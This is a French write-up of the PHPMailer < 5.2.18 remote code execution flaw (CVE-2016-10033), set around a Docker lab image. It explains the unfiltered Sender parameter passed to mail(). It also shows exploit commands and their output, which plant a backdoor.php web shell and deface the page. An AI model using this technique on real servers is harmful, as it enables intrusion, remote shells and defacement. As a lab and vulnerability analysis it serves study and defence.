PHPMailer < 5.2.18 Exécution de code à distance
PHPMailer est la classe de transport la plus populaire au monde, avec environ 9 millions d'utilisateurs dans le monde. Les téléchargements continuent à un rythme soutenu chaque jour. Utilisée par de nombreux projets open-source : WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! et bien d'autres.
PHPMailer avant sa version 5.2.18 souffre d'une vulnérabilité qui pourrait conduire à une exécution de code à distance (RCE). La fonction mailSend du transport isMail dans PHPMailer, lorsque la propriété Sender n'est pas définie, pourrait permettre à des attaquants distants de passer des paramètres supplémentaires à la commande mail et, par conséquent, d'exécuter du code arbitraire via un " (antislash suivi d'un guillemet double) dans une adresse From contrefaite.
Pour mettre en place un environnement vulnérable pour votre test, vous aurez besoin d'installer Docker, puis exécutez simplement la commande suivante :
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
Et cela fera apparaître une application web vulnérable sur votre hôte sur le port 8080

Pour exploiter cette cible, exécutez simplement :
./exploit host:port
Si vous utilisez cette image vulnérable, vous pouvez simplement exécuter :
./exploit localhost:8080
Après l'exploitation, un fichier nommé backdoor.php sera stocké dans le dossier racine du répertoire web. Et l'exploit vous déposera un shell où vous pourrez envoyer des commandes à la backdoor :
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Et voilà, vous avez votre shell. Il existe un autre exploit, qui illustre un autre cas d'utilisation.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
Et si vous revisitez la page, vous verrez ceci :

Avant ce commit dans class.phpmailer.php, dans un certain scénario, il n'y a aucun filtre sur les caractères spéciaux de l'adresse e-mail de l'expéditeur. Cette faille peut conduire à une exécution de code à distance, via la fonction mail ici.
En analysant le code, il n'y a aucun filtre dans la fonction mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender est directement ajouté à la variable $params, qui a été filtrée dans la fonction validateAddress(), mais comme elle utilise la spécification RFC 3696, elle autorise certains caractères qui peuvent casser des choses.
Dans ce cas, les guillemets :
En plus des guillemets utilisant le caractère antislash, les guillemets doubles conventionnels peuvent être utilisés pour entourer des chaînes. Par exemple
"Abc@def"@example.com
"Fred Bloggs"@example.com
sont des formes alternatives des deux premiers exemples ci-dessus. Ces formes entre guillemets sont rarement recommandées et sont peu courantes en pratique, mais, comme indiqué ci-dessus, elles doivent être prises en charge par les applications qui traitent les adresses e-mail. En particulier, les formes entre guillemets apparaissent souvent dans le contexte d'adresses associées à des transitions depuis d'autres systèmes et contextes ; ces exigences de transition se présentent toujours et, comme un système qui accepte une adresse e-mail fournie par l'utilisateur ne peut pas « savoir » si cette adresse est associée à un système existant, les formes d'adresse doivent être acceptées et transmises à l'environnement de messagerie.
Vous pouvez lire la RFC complète ici si vous le souhaitez. Mais aussi, si la version de PHP est inférieure à 5.2.0 et que PCRE n'est pas installé, la variable $patternselect dans validateAddress() sera définie sur noregex. Cela aura pour effet que l'entrée pourra éviter toute vérification par regex. Elle ne passera qu'à travers une petite vérification :
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Ensuite, le flux de code passe à la fonction mailPassthru(), qui, si elle s'exécute en mode safe_mode, ne sera pas vulnérable à cette faille, comme le montre le code suivant :
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Mais, si elle ne s'exécute pas en mode safe_mode, alors notre paramètre spécial sera transmis à mail() et, si nous avons de la chance, il fera écrire notre fichier contenant ce que nous voulons, là où nous choisissons de l'écrire.
L'exploitation de la fonction mail() de PHP n'est pas nouvelle, mais elle est toujours d'actualité et des gens l'utilisent encore. Pour expliquer son fonctionnement, regardons comment la fonction mail() est définie :
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Il existe plusieurs méthodes d'exploitation pour différents résultats ; nous nous concentrerons sur l'exploitation du 5e paramètre pour obtenir une exécution de code à distance (RCE). Le paramètre $additional_parameters est utilisé pour passer des indicateurs supplémentaires comme options de ligne de commande au programme configuré pour envoyer l'e-mail. Cette configuration est définie par la variable sendmail_path.
Une note de sécurité de la documentation officielle de PHP :